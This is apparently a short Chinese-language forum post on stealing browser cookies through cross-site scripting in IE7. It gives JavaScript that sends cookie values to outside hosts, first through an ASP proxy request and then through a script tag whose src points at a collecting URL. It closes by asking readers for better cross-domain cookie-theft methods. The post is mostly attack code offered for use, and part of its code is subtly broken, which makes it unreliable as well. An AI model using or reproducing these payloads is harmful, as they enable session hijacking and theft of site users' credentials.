研究了一下午,第一個難題是ajax跨域提交數據,可以用web代理來解決,http://192.168.8.108上的a.htm代碼:
<script>
function getXmlHttpRequest(){
if(window.ActiveXObject){
var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(var i=0;i<ieArr.length;i++)
{
var xmlhttp= new ActiveXObject(ieArr[i]);
}
return xmlhttp;
} else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}
}
var xmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一個asp代理。
這樣直接訪問http://192.168.8.108/a.htm是可以成功發送數據的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。
另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標簽,在沒有研究成功ajax發送的情況下,經過搜索發現了另一種跨站的思路,不需要用iframe來跨域提交,代碼:
<script LANGUAGE="Javascript" src="" id="get">
</script>
<script LANGUAGE="Javascript">
<!--
function get(url)
{
var obj = document.getElementById("get");
obj.src = url;
(obj.readStatus == 200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*function query()
{
get("http://jb51.net/web/1.img"); //在這裡可以寫代碼,像把alert("ok")裡的ok換成變量,1.img 中的代碼是var ok="123"
}
//-->
*/
</script>
至於有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論